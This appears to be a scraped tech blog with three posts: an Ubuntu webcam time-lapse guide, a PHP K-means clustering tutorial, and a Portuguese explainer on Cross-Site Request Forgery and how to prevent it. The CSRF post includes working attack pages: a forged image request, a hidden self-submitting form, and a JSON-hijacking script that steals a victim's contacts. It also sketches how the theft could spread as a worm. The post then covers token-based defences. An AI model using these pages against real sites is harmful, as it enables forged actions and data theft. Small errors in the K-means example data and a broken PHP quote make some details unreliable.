Code Blip

Currently I spend most of my days working from home where I have a beautiful view from my desk in the 10th floor.
I’ve always wanted to share this view with everyone by recording a 24h time lapse video.
After seeing James Broad (friend and ex-colleague back from my Yahoo days) post about Making a time lapse video on Mac it got me thinking about how I could do the same using Ubuntu.

The first thing to do is to get the right tools. For this, I’ll use VLC Media Player to record the series of images and then use mencoder to convert the images into a movie clip.

Step 1 - Install the software

sudo apt-get install vlc mencoder

Step 2 - Capture the images

vlc -I dummy v4l2:// -V image --image-out-width 450 --image-out-height 338 --image-out-ratio 1440 --run-time 86400 --image-out-prefix img vlc://quit 2> /dev/null

In James’ guide, he uses a cronjob to run a command line utility that takes a photo every minute.
Instead of that, I choose to run VLC for 86400 seconds (1 day) saving an image for every 1440 frames (about 1 image every couple of minutes depending on your camera frame rate).
The “-I dummy” is used to disable the graphical interface and v4l2:// is my webcam address which you can find out by running VLC on it’s own and opening the capture device.
To get the values right, you can try running it for shorter periods (like a few minutes) and seeing how many images it creates.

Step 3 - Create the Video

mencoder mf://*.png -mf w=450:h=338:fps=12:type=png -ovc lavc -lavcopts vcodec=mp4:mbd=2:trell -oac copy -o output.avi

To create the video, just browser into the directory with all the snapshots and run mencoder to generate the video.

Step 4 - Share it with the World!

Ok, I’m a sucker for Macs so I had to edit the video with iMovie to add some cheesy sound and text

Unsupervised learning technique to find clusters (subsets of data with similar caracteristics) in unknown data.

Given a random set of numbers, the problem to solve here is to determine a fixed number of intervals that best describe the distribution of the initial dataset. Instead of trying to identify how many clusters exists in the dataset (also possible, but outside the scope of this article), a K-means clustering algorithm will always return a fixed (K) number of subsets.

Given the following data set:

D = [1, 3, 2, 5, 6, 2, 3, 1, 30, 36, 45, 3, 15, 19]

The idea would be to find 3 clusters with the most similar numbers:

S = [[1,1,2,2,3,3,3,7], [15,17], [30,36,45]]

For a human being, given such a small set and number of clusters, it would be relatively easy to determine the intervals that best describe the dataset, however that task becomes nearly impossibe as the dataset grows.

K-Means algorithm (http://en.wikipedia.org/wiki/K-means_algorithm) will allows us to do this task automatically.

It works by identifying the space of possible solutions and, as a first step, it creates each of the K clusters and distributes them randomly (or using an heuristic) throughout the available solution space and recalculates it’s positions on each iteration until there are no more changes and the clusters are finally found.
On each iteration, every value it the dataset is assigned to the closest cluster (which was initially positioned at random) by using a distance (or similarity) function. Once all the values have been assigned to one given cluster, the cluster position is then recalculated so that it is placed in the mean location of the values that are assigned to it.
As the algorithm iterates, values will move from one cluster to the other until there aren’t any more changes at which point the algorithm is finished. Depending on the problem, it might be worth limiting the number of iterations to look out for infinite loops.

For our current problem, because it needs to be integrated in an existing application that our company is currently in the process of improving and it is entirely written in PHP, we will choose PHP as our programming language. You can choose any language you are most comfortable with to implement it, but feel free to download the full version of the PHP code at the end of the article. The code comes with some examples and it is fairly well documented. If you ever need to use it, and email or link back is always welcomed.

<?php
 
/**
* This code was created by Jose Fonseca (josefonseca@blip.pt) 
*
* Please feel free to use it in either commercial or non-comercial applications,
* and if you enjoy using it feel free to let us know or to comment on our
* technical blog at http://code.blip.pt
*/
 
 
print_r(kmeans(array(1, 3, 2, 5, 6, 2, 3, 1, 30, 36, 45, 3, 15, 17), 3));
 
 
/**
* This function takes a array of integers and the number of clusters to create.
* It returns a multidimensional array containing the original data organized
* in clusters.
*
* @param array $data
* @param int $k
*
* @return array
*/
function kmeans($data, $k)
{
        $cPositions = assign_initial_positions($data, $k);
        $clusters = array();
 
        while(true)
        {
                $changes = kmeans_clustering($data, $cPositions, $clusters);
                if(!$changes)
                {
                        return kmeans_get_cluster_values($clusters, $data);
                }
                $cPositions = kmeans_recalculate_cpositions($cPositions, $data, $clusters);
        }
}
 
/**
*
*/
function kmeans_clustering($data, $cPositions, &$clusters)
{
        $nChanges = 0;
        foreach($data as $dataKey => $value)
        {
                $minDistance = null;
                $cluster = null;
                foreach($cPositions as $k => $position)
                {
                        $distance = distance($value, $position);
                        if(is_null($minDistance) || $minDistance > $distance)
                        {
                                $minDistance = $distance;
                                $cluster = $k;
                        }
                }
                if(!isset($clusters[$dataKey]) || $clusters[$dataKey] != $cluster)
                {
                        $nChanges++;
                }
                $clusters[$dataKey] = $cluster;
        }
 
        return $nChanges;
}
 
 
 
 
function kmeans_recalculate_cpositions($cPositions, $data, $clusters)
{
        $kValues = kmeans_get_cluster_values($clusters, $data);
        foreach($cPositions as $k => $position)
        {
                $cPositions[$k] = empty($kValues[$k]) ? 0 : kmeans_avg($kValues[$k]);
        }
        return $cPositions;
}
 
function kmeans_get_cluster_values($clusters, $data)
{
        $values = array();
        foreach($clusters as $dataKey => $cluster)
        {
                $values[$cluster][] = $data[$dataKey];
        }
        return $values;
}
 
 
function kmeans_avg($values)
{
        $n = count($values);
        $sum = array_sum($values);
        return ($n == 0) ? 0 : $sum / $n;
}
 
/**
* Calculates the distance (or similarity) between two values. The closer
* the return value is to ZERO, the more similar the two values are.
*
* @param int $v1
* @param int $v2
*
* @return int
*/
function distance($v1, $v2)
{
  return abs($v1-$v2);
}
 
/**
* Creates the initial positions for the given
* number of clusters and data.
* @param array $data
* @param int $k
*
* @return array
*/
function assign_initial_positions($data, $k)
{
        $min = min($data);
        $max = max($data);
        $int = ceil(abs($max - $min) / $k);
        while($k-- > 0)
        {
                $cPositions[$k] = $min + $int * $k;
        }
        return $cPositions;
}

Output

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 3
            [2] => 2
            [3] => 5
            [4] => 6
            [5] => 2
            [6] => 3
            [7] => 1
            [8] => 3
        )
 
    [2] => Array
        (
            [0] => 30
            [1] => 36
            [2] => 45
        )
 
    [1] => Array
        (
            [0] => 15
            [1] => 17
        )
 
)

O que são Cross-Site Request Forgery e como proteger o seu site

Agora que já todos protegemos os nossos sites contra ataques Cross-Site-Scripting (XSS) está na altura de prestarmos atenção a uma das ameaças que continua a afectar uma grande percentagem da web.
Os ataques Cross-Site-Scripting (XSS) tiram partido das falhas na forma como um determinado site processa os conteúdos inseridos por um utilizador em formulários, URLs e até mesmo nos cabeçalhos dos pedidos HTTP. Explorando esses erros na validação de conteúdos, um atacante pode introduzir Javascript malicioso na base de dados do site. Quando o site atacado exibe essa informação a um utilizador normal, o Javascript malicioso é executado no browser do utilizador normal podendo assim aceder a informações privadas como Cookies por exemplo. Em sites que utilizam apenas Cookies como meio de autenticação, um ataque XSS bem sucedido, permite a um utilizador malicioso ganhar controlo sob a identidade de um utilizador vítima. Sem querer entrar em demasiados detalhes sobre o tema, e deixando a oportunidade aberta para um artigo futuro mais extenso e detalhado, não posso deixar de alertar para a importância de filtrar correctamente os conteúdos antes de os aceitar ou os mostrar aos seus utilizadores.
Os ataques Cross-Site Request Forgery não precisam de injectar nenhum código malicioso no seu site e são tão ou mais eficazes que os ataques XSS, podendo produzir efeitos catastróficos. Isto é de facto muito importante, e este tipo de vulnerabilidades não deve ser de todo ignorada.
Hoje em dia existe a tendência de dar muita importância aos processos de login num site e criam-se inúmeros mecanismos de segurança em torno do mesmo, desde os já conhecido teclados virtuais até aos cartões matriz únicos por utilizador. No entanto, repetidamente se esquece que, na verdade, é depois de fazer login que um utilizador está mais vulnerável.
É exactamente esse aspecto que os ataques Cross-Site-Request exploram. Incluindo um link ou script numa página, de forma a fazer um pedido HTTP a um site no qual a vítima se encontra autenticada, um atacante pode levar um utilizador vítima a executar acções nesse site sem o seu consenso ou conhecimento.
Vejamos o seguinte exemplo: O Pedro escreve um blog onde diariamente coloca novos posts. Infelizmente o Pedro utiliza uma versão antiga blog que ainda aceita posts via pedidos GET:

http://www.aventurasdopedro.pt/admin/post_blog.php?title=Emprego&content=Mais um dia passado no emprego

O André, que conhece os hábitos do Pedro, cria uma página com a seguinte imagem:

<img src="http://www.aventurasdopedro.pt/admin/post_blog.php?title=Foste vitima de um ataque XSRF&content=" width="0" height="0"/>

Ao aceder a esta página, o browser do Pedro envia os Cookies contendo uma autenticação válida para o [post_blog.php] que, não conseguindo diferenciar o pedido forjado de um pedido válido, vai criar post não autorizado no blog.
Mesmo depois do Pedro actualizar o seu blog para apenas aceitar pedidos POST, o seu blog continua vulnerável pois o André pode simplesmente criar uma página com um formulário escondido que é automaticamente submetido quando a página é visualizada:

<html>
 <body onload=”document.hackPedro.submit()”>
      <form name=”hackPedro” action=” http://www.aventurasdopedro.pt/admin/post_blog.php” method=”POST” target=”if” style=”display:none”>
	<input type=”hidden” name=”title” value=”Mais uma vez, foste vitíma de um ataque XSRF” />
	<input type=”hidden” name=”content” value=”…” />
      </form>
      <iframe name=”if” width=”0” height=”0”></iframe>
 </body>
</html>

A página submete um POST para o scrip [post_blog.php] que mais uma vez não vai conseguir detectar que se trata de um pedido forjado.

Este pequeno exemplo demonstra um pouco as potencialidades deste ataque, mas se esta pequena contenda entre amigos não é motivo suficiente para o fazer saltar da cadeira, passemos então a um exemplo mais sério e uma demonstração de como esta pequena falha de segurança se pode transformar num worm e em poucas horas encher completamente uma base de dados com spam.
Vejamos o seguinte sistema fictício de email [bombamail.pt] (web2.0 claro), que faz uso de um pedido Ajax para visualizar a lista de contactos no site.
O script [bombamail.pt/get_contacts.php] retorna um Objecto Javascript (JSON) contendo a seguinte informação:

[{"id":1,"endereco":"pedro@bombamail.pt"},{"id":2,"endereco":"joao.pestana@bombamail.pt"}]

Um atacante pode assim criar uma página com um Javascript malicioso que captura este objecto ganhando assim acesso aos contactos do utilizador vítima:

<html>
<head>
 
<script>
/*
Esta funcao faz o override to constructor generico
dos Objectos Javascript
 
Cada vez que a variavel "endereco" e' definida, a funcao "roubarContacto"
e' executada e como essa variavel e' a ultima nos Objectos
devolvidos pelo script [bombamail.pt/get_contacts.php]
ao executar a funcao uma vez, conseguimos ter accesso a todo o Objecto
*/
function Object()
{
   this.endereco setter = roubarContacto
}
 
function roubarContacto(endereco)
{
  var div = document.getElementById("DetalhesRoubados");
  div.innerHTML = div.innerHTML + "<br /> ID:" + this['id'] + " (" + endereco + ") ";
}
</script>
 
</head>
 
<body>
  <div id="DetalhesRoubados">
   Detalhes roubados:
  </div>
</body>
<script src="http://bombamail.pt/get_contacts.php"></script>
</html>

Neste exemplo, o atacante, utiliza a tag script para fazer um pedido ao [get_contacts.php] e incluir assim o objecto Javascript (JSON). Não conseguido identificar que se trata de uma página forjada, o browser envia os Cookies devidamente autenticados produzindo assim uma resposta normal. De seguida, e tirando partido da natureza inerente ao Javascript, este script malicioso faz o override do construtor geral a todos os objectos de forma a definir uma função setter para a variável “endereco” que ao ser executada permite o acesso a todo o conteúdo do objecto, produzindo finalmente o seguinte resultado:

Detalhes roubados:

ID:1 (blaaa@mooo.com)
ID:2 (average@joe.com)

A partir do momento em que o atacante ganha acesso a lista de contactos, transformar o ataque num worm com a potencialidade de espalhar-se completamente por todos os utilizadores do serviço [bombamail.pt] é bastante simples. O atacante pode simplesmente alterar o Javacript para enviar a lista de contactos para uma segunda página maliciosa (utilizado Ajax por exemplo) que por sua vez envia um email contendo um link para a página maliciosa inicial a cada contacto na lista espalhando assim o ataque por vários utilizadores e, potencialmente, para todos os utilizadores no sistema.

Apesar deste tipo de ataques poder ser um pesadelo para qualquer webmaster, na verdade é possível preveni-los com apenas algumas medidas de segurança.
O desafio é então garantir que todas as acções efectuados num site são iniciadas por um utilizador real e não por um script malicioso.

Protegendo os seus objectos JSON

Uma das formas de proteger os pedidos Ajax que utilizam JSON como meio de transmitir a informação é introduzir um ciclo infinito no início do objecto e estabelecer um passo de pré-processamento (filtrar o ciclo infinito) antes de utilizar a informação. Por exemplo:

while(1); [{"id":1,"endereco":"pedro@bombamail.pt"},{"id":2,"endereco":"joao.pestana@bombamail.pt"}]

Qualquer tentativa de incluir este objecto numa página maliciosa utilizando a tag script fica imediatamente impossibilitada pois o browser vai ficar bloqueado num ciclo infinito antes sequer de instanciar o objecto JSON.

O método da dupla submissão de Cookies

Este método funciona apenas para pedidos Ajax e consiste em enviar os Cookies como parte do POST ou GET comparando posteriormente no servidor os Cookies recebidos na variável $_COOKIE com a informação recebida nas variáveis $_POST ou $_GET.

Exemplo para pedidos POST:

[get_contacts.php] corrigido para utilizar a validação no método de dupla submissão de Cookies:

$cookies = array();
foreach($_COOKIE as $key => $value)
  $cookies[] = $key ."=". $value;
$pedido_valido = ( implode("; ", $cookies) == $_POST['cookie'] ); 
if($pedido_valido)
   echo "OK :)";
else
   echo "Pedido Invalido";

O método do Token único

Dos vários métodos existentes, este é o meu preferido pois pode ser utilizado em todas as situações (formulários, URLs, Ajax, etc). Apesar de requerer algum esforço inicial para proteger um site por completo, este método é simples, rápido e eficiente.
A ideia é então adicionar um Token único, aos links ou formulários que pretendemos proteger, efectuando a validação no servidor antes de aceitar o pedido.
Este Token deve ser gerado em função dos Cookies do utilizador e de um segredo conhecido apenas no servidor, por exemplo:

function security_token()
{
  return md5($_COOKIE[‘auth] . “SEGREDO”);
}

Incluir este Token em links ou formulários:

<a href=”/logout.php?token=<?php echo security_token() ?>”>Sair</a>

<form action=”/enviar_email.php” method=”POST”>
   <input type=”hidden” name=”token” value=”<?php echo security_token() ?>”>” />
   .....
</form>

Antes de executar as páginas [/logout.php] ou [/enviar_email.php] é possível validar o Token e perceber se se trata de um pedido forjado:

if($_GET[‘token’] != security_token())
{
     header(“HTTP/1.0 403 Forbidden”);
     exit();
}

ou

if($_POST[‘token’] != security_token())
{
     header(“HTTP/1.0 403 Forbidden”);
     exit();
}

Desta forma é possível garantir ambas as acções só podem ser iniciadas por um utilizador autenticado e não por um script malicioso numa página forjada pois cada Token é único por cada utilizador.
Na eventualidade de um atacante conseguir obter o Token dum utilizador, qualquer ataque será sempre contido visto que poderá apenas afectar o utilizador cujo o token foi roubado.
Este método pode ser melhorado introduzindo uma componente dinâmica ao segredo, utilizando, por exemplo, a data do último login criando assim um Token diferente de cada vez que o utilizador entra no site.